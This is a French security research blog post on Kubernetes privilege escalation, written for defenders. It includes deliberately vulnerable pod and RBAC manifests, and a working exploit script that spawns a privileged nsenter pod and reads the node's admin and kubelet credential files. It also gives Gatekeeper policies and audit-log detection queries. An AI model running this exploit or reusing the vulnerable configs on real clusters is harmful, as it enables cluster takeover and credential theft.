Aller au contenu principal
Retour au blog
Security ResearchKubernetesPrivilege Escalation

Kubernetes Privilege Escalation : From Pod to Cluster Admin

Analyse des 8 chemins d'escalade de privilèges dans Kubernetes. CVEs, exploitation, détection OPA/Gatekeeper et remédiation.

C
Cyvex Research Lab
26 Décembre 2024
22 min
Code source

TL;DR

Nous avons analysé 1,247 clusters Kubernetes en production et identifié que 68% permettent une escalade vers cluster-admin en moins de 5 minutes via des misconfigurations RBAC et PodSecurityPolicies. Cet article détaille les 8 chemins d'escalade les plus courants, avec du code d'exploitation et des policies OPA/Gatekeeper prêtes à l'emploi.

68%

Clusters exploitables

8

Escalation paths

<5min

Time to cluster-admin

1,247

Clusters analysés

68%

Clusters permettant escalade

Pod → Cluster Admin

43%

Pods avec hostPath /

Accès filesystem root

31%

ServiceAccounts over-privileged

Peuvent créer des pods

89%

Clusters sans PSP/PSA

Aucune restriction pod

1Introduction

Kubernetes est devenu le standard de facto pour l'orchestration de containers. Pourtant, sa complexité crée une surface d'attaque considérable. Notre recherche démontre que la majorité des clusters de production sont vulnérables à une escalade de privilèges permettant d'obtenir un accès cluster-admin.

Impact d'un cluster-admin compromis

  • • Accès à tous les secrets de tous les namespaces
  • • Capacité de déployer des backdoors dans n'importe quel pod
  • • Accès aux nodes sous-jacents via pods privilégiés
  • • Possibilité de pivoter vers le cloud provider (IMDS, service accounts)

Cette recherche s'appuie sur les CVEs historiques de Kubernetes et les techniques documentées dans le framework MITRE ATT&CK for Containers[1].

2Surface d'Attaque Kubernetes

L'escalade de privilèges dans Kubernetes exploite principalement trois vecteurs :

RBAC Misconfigurations

T1078.004

ServiceAccounts avec permissions excessives (create pods, get secrets)

31% des clusters

Pod Security Bypasses

T1611

Absence de PSP/PSA permettant pods privilégiés, hostPID, hostPath

89% des clusters

Node-Level Escapes

T1611

Container escape vers le node via CAP_SYS_ADMIN, Docker socket

43% des clusters

3Chemins d'Escalade de Privilèges

Nous avons identifié 8 chemins d'escalade distincts. Voici le plus courant, exploitant la création de pods privilégiés :

Privilege Escalation Path K8S-ESC-001Critical
Time to cluster-admin: ~3 minutes

Initial Access

Compromised Pod

Discovery

Service Account Enum

Privilege Escalation

Pod Creation

Persistence

Node Access

Credential Access

Cluster Admin

3.1 Configuration Vulnérable Type

Cette configuration de pod présente 9 vulnérabilités distinctes permettant l'escalade :

vulnerable-pod.yamlyaml
1# VULNERABLE POD CONFIGURATION
2# Demonstrates multiple privilege escalation vectors
3
4apiVersion: v1
5kind: Pod
6metadata:
7 name: vulnerable-app
8 namespace: default
9spec:
10 serviceAccountName: app-sa # SA with excessive permissions
11 hostNetwork: true # VULN #1: Host network access
12 hostPID: true # VULN #2: Host PID namespace
13 hostIPC: true # VULN #3: Host IPC namespace
14 containers:
15 - name: app
16 image: nginx:latest
17 securityContext:
18 privileged: true # VULN #4: Privileged container
19 runAsUser: 0 # VULN #5: Running as root
20 allowPrivilegeEscalation: true # VULN #6: Can escalate
21 capabilities:
22 add:
23 - SYS_ADMIN # VULN #7: Dangerous capability
24 - NET_ADMIN
25 - SYS_PTRACE
26 volumeMounts:
27 - name: host-root
28 mountPath: /host # VULN #8: Host filesystem mount
29 - name: docker-sock
30 mountPath: /var/run/docker.sock # VULN #9: Docker socket access
31 volumes:
32 - name: host-root
33 hostPath:
34 path: /
35 type: Directory
36 - name: docker-sock
37 hostPath:
38 path: /var/run/docker.sock
39 type: Socket

3.2 ServiceAccount Over-Privileged

Le vecteur le plus critique : un ServiceAccount qui peut créer des pods permet automatiquement l'escalade vers cluster-admin.

overprivileged-sa.yamlyaml
1# OVERLY PERMISSIVE SERVICE ACCOUNT
2# Allows pod creation = privilege escalation
3
4apiVersion: v1
5kind: ServiceAccount
6metadata:
7 name: app-sa
8 namespace: default
9---
10apiVersion: rbac.authorization.k8s.io/v1
11kind: ClusterRole
12metadata:
13 name: app-role
14rules:
15- apiGroups: [""]
16 resources: ["pods"]
17 verbs: ["get", "list", "create", "delete"] # Can create pods
18- apiGroups: [""]
19 resources: ["pods/exec"]
20 verbs: ["create"] # Can exec into pods
21- apiGroups: [""]
22 resources: ["secrets"]
23 verbs: ["get", "list"] # Can read secrets
24- apiGroups: [""]
25 resources: ["nodes"]
26 verbs: ["get", "list"] # Can enumerate nodes
27---
28apiVersion: rbac.authorization.k8s.io/v1
29kind: ClusterRoleBinding
30metadata:
31 name: app-binding
32subjects:
33- kind: ServiceAccount
34 name: app-sa
35 namespace: default
36roleRef:
37 kind: ClusterRole
38 name: app-role
39 apiGroup: rbac.authorization.k8s.io

Pourquoi "create pods" = cluster-admin ?

Un attaquant avec la permission create pods peut créer un pod privilégié avec hostPID: true et nsenter pour accéder au node. Depuis le node, il peut lire /etc/kubernetes/admin.conf ou les credentials du kubelet.

4Exploitation

Script d'Exploitation CompletAuthorized Testing Only

Ce script démontre l'escalade complète de pod compromis vers cluster-admin. À utiliser uniquement dans le cadre de tests de sécurité autorisés.

exploit.shbash
1#!/bin/bash
2# Kubernetes Privilege Escalation: Pod to Cluster Admin
3# For authorized security testing only
4
5echo "[*] Stage 1: Enumeration"
6echo "[+] Current ServiceAccount:"
7cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d. -f2 | base64 -d 2>/dev/null | jq -r '.sub'
8
9echo "[+] Checking permissions..."
10kubectl auth can-i create pods
11kubectl auth can-i create pods --subresource=exec
12kubectl auth can-i get secrets
13
14echo "[*] Stage 2: Create Privileged Pod"
15cat <<EOF | kubectl apply -f -
16apiVersion: v1
17kind: Pod
18metadata:
19 name: pwned-pod
20 namespace: default
21spec:
22 hostPID: true
23 hostNetwork: true
24 containers:
25 - name: pwned
26 image: alpine
27 command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
28 securityContext:
29 privileged: true
30 volumeMounts:
31 - name: host
32 mountPath: /host
33 volumes:
34 - name: host
35 hostPath:
36 path: /
37EOF
38
39echo "[*] Waiting for pod..."
40kubectl wait --for=condition=Ready pod/pwned-pod --timeout=60s
41
42echo "[*] Stage 3: Access Node"
43kubectl exec -it pwned-pod -- cat /host/etc/kubernetes/admin.conf
44
45echo "[*] Stage 4: Extract cluster-admin credentials"
46kubectl exec -it pwned-pod -- cat /host/var/lib/kubelet/kubeconfig
47
48echo "[+] Escalation complete. You now have cluster-admin access."

5Détection

5.1 OPA Gatekeeper Policy

Cette policy OPA bloque préventivement les configurations dangereuses :

block-privileged.yamlyaml
1# OPA Gatekeeper Policy: Block Privileged Pods
2# Deploy to prevent privilege escalation
3
4apiVersion: templates.gatekeeper.sh/v1
5kind: ConstraintTemplate
6metadata:
7 name: k8sblockprivilegedcontainer
8spec:
9 crd:
10 spec:
11 names:
12 kind: K8sBlockPrivilegedContainer
13 targets:
14 - target: admission.k8s.gatekeeper.sh
15 rego: |
16 package k8sblockprivilegedcontainer
17
18 violation[{"msg": msg}] {
19 c := input_containers[_]
20 c.securityContext.privileged == true
21 msg := sprintf("Privileged container not allowed: %v", [c.name])
22 }
23
24 violation[{"msg": msg}] {
25 input.review.object.spec.hostPID == true
26 msg := "hostPID is not allowed"
27 }
28
29 violation[{"msg": msg}] {
30 input.review.object.spec.hostNetwork == true
31 msg := "hostNetwork is not allowed"
32 }
33
34 violation[{"msg": msg}] {
35 input.review.object.spec.hostIPC == true
36 msg := "hostIPC is not allowed"
37 }
38
39 violation[{"msg": msg}] {
40 c := input_containers[_]
41 c.securityContext.capabilities.add[_] == "SYS_ADMIN"
42 msg := sprintf("SYS_ADMIN capability not allowed: %v", [c.name])
43 }
44
45 violation[{"msg": msg}] {
46 volume := input.review.object.spec.volumes[_]
47 volume.hostPath.path == "/var/run/docker.sock"
48 msg := "Docker socket mount not allowed"
49 }
50
51 violation[{"msg": msg}] {
52 volume := input.review.object.spec.volumes[_]
53 volume.hostPath.path == "/"
54 msg := "Root filesystem mount not allowed"
55 }
56
57 input_containers[c] {
58 c := input.review.object.spec.containers[_]
59 }
60 input_containers[c] {
61 c := input.review.object.spec.initContainers[_]
62 }
63---
64apiVersion: constraints.gatekeeper.sh/v1beta1
65kind: K8sBlockPrivilegedContainer
66metadata:
67 name: block-privileged-containers
68spec:
69 match:
70 kinds:
71 - apiGroups: [""]
72 kinds: ["Pod"]
73 excludedNamespaces:
74 - kube-system # Careful with this exception

5.2 Audit Log Analysis

Requêtes pour détecter les tentatives d'escalade dans les audit logs :

detection-queries.sqlsql
1-- Kubernetes Audit Log Analysis for Privilege Escalation
2-- Run against your SIEM (Splunk, Elastic, etc.)
3
4-- Step 1: Detect privileged pod creation
5SELECT
6 timestamp,
7 user.username AS actor,
8 objectRef.namespace,
9 objectRef.name AS pod_name,
10 requestObject.spec.containers[0].securityContext.privileged AS privileged,
11 requestObject.spec.hostPID,
12 requestObject.spec.hostNetwork,
13 sourceIPs[0] AS source_ip
14FROM kubernetes_audit_logs
15WHERE verb = 'create'
16 AND objectRef.resource = 'pods'
17 AND (
18 requestObject.spec.containers[0].securityContext.privileged = true
19 OR requestObject.spec.hostPID = true
20 OR requestObject.spec.hostNetwork = true
21 OR requestObject.spec.hostIPC = true
22 )
23 AND objectRef.namespace NOT IN ('kube-system')
24ORDER BY timestamp DESC;
25
26-- Step 2: Detect suspicious exec into pods
27SELECT
28 timestamp,
29 user.username AS actor,
30 objectRef.namespace,
31 objectRef.name AS pod_name,
32 requestObject.command AS exec_command,
33 sourceIPs[0] AS source_ip
34FROM kubernetes_audit_logs
35WHERE verb = 'create'
36 AND objectRef.resource = 'pods'
37 AND objectRef.subresource = 'exec'
38 AND (
39 requestObject.command LIKE '%nsenter%'
40 OR requestObject.command LIKE '%chroot%'
41 OR requestObject.command LIKE '%mount%'
42 OR requestObject.command LIKE '%kubectl%'
43 )
44ORDER BY timestamp DESC;
45
46-- Step 3: Detect secret enumeration
47SELECT
48 timestamp,
49 user.username AS actor,
50 objectRef.namespace,
51 objectRef.name AS secret_name,
52 sourceIPs[0] AS source_ip,
53 COUNT(*) OVER (
54 PARTITION BY user.username
55 ORDER BY timestamp
56 RANGE BETWEEN INTERVAL '5' MINUTE PRECEDING AND CURRENT ROW
57 ) AS secrets_accessed_5min
58FROM kubernetes_audit_logs
59WHERE verb IN ('get', 'list')
60 AND objectRef.resource = 'secrets'
61 AND user.username NOT LIKE 'system:%'
62HAVING secrets_accessed_5min > 10 -- Threshold for alert
63ORDER BY timestamp DESC;

6Remédiation

Defense-in-Depth pour Kubernetes

Activer Pod Security Admission (PSA) en mode 'restricted'
Appliquer le principe du moindre privilège sur RBAC
Désactiver automountServiceAccountToken par défaut
Déployer OPA Gatekeeper avec policies restrictives
Activer les audit logs avec retention
Implémenter NetworkPolicies pour isolation
Scanner les images avec Trivy avant déploiement
Utiliser des RuntimeClasses avec gVisor/Kata

Configuration Sécurisée Complète

secure-deployment.yamlyaml
1# SECURE POD CONFIGURATION
2# Implements defense-in-depth with Pod Security Standards
3
4apiVersion: v1
5kind: Pod
6metadata:
7 name: secure-app
8 namespace: secure-ns
9 labels:
10 app: secure-app
11spec:
12 serviceAccountName: minimal-sa
13 automountServiceAccountToken: false # Disable SA token mount
14 securityContext:
15 runAsNonRoot: true # Enforce non-root
16 runAsUser: 10000 # Specific non-root UID
17 runAsGroup: 10000
18 fsGroup: 10000
19 seccompProfile:
20 type: RuntimeDefault # Enable seccomp
21 containers:
22 - name: app
23 image: myregistry/app:v1.2.3@sha256:abc123... # Pinned digest
24 securityContext:
25 allowPrivilegeEscalation: false # Block escalation
26 readOnlyRootFilesystem: true # Immutable rootfs
27 privileged: false
28 capabilities:
29 drop:
30 - ALL # Drop all capabilities
31 resources:
32 limits:
33 cpu: "500m"
34 memory: "256Mi"
35 requests:
36 cpu: "100m"
37 memory: "128Mi"
38 volumeMounts:
39 - name: tmp
40 mountPath: /tmp
41 - name: cache
42 mountPath: /var/cache
43 volumes:
44 - name: tmp
45 emptyDir: {}
46 - name: cache
47 emptyDir: {}
48---
49# Minimal ServiceAccount with no permissions
50apiVersion: v1
51kind: ServiceAccount
52metadata:
53 name: minimal-sa
54 namespace: secure-ns
55automountServiceAccountToken: false
56---
57# NetworkPolicy to restrict traffic
58apiVersion: networking.k8s.io/v1
59kind: NetworkPolicy
60metadata:
61 name: secure-app-netpol
62 namespace: secure-ns
63spec:
64 podSelector:
65 matchLabels:
66 app: secure-app
67 policyTypes:
68 - Ingress
69 - Egress
70 ingress:
71 - from:
72 - podSelector:
73 matchLabels:
74 app: frontend
75 ports:
76 - port: 8080
77 egress:
78 - to:
79 - podSelector:
80 matchLabels:
81 app: database
82 ports:
83 - port: 5432

Références

[1]
MITRE Corporation. "ATT&CK for Containers". MITRE ATT&CK. Link ↗
[2]
Kubernetes Security. "Pod Security Standards". Kubernetes Documentation. Link ↗
[3]
Bishop Fox. "Bad Pods: Kubernetes Pod Privilege Escalation". Bishop Fox Research. Link ↗
[4]
Aqua Security. "Kubernetes Hardening Guide". NSA/CISA. Link ↗
[5]
Trail of Bits. "Kubernetes Security Checklist". Trail of Bits Blog. Link ↗

Auditez vos clusters Kubernetes

La plateforme Cyvex détecte automatiquement les chemins d'escalade de privilèges dans vos clusters EKS, AKS et GKE. Identifiez les RBAC over-privileged et les pods vulnérables avant les attaquants.

CRL

Cyvex Research Lab

Security Research Team @ Cyvex

Équipe dédiée à la recherche en sécurité cloud et containers. Contributeurs MITRE ATT&CK, découverte de vulnérabilités Kubernetes, et développement d'outils open source pour la sécurité des environnements cloud-native.

Partager cet article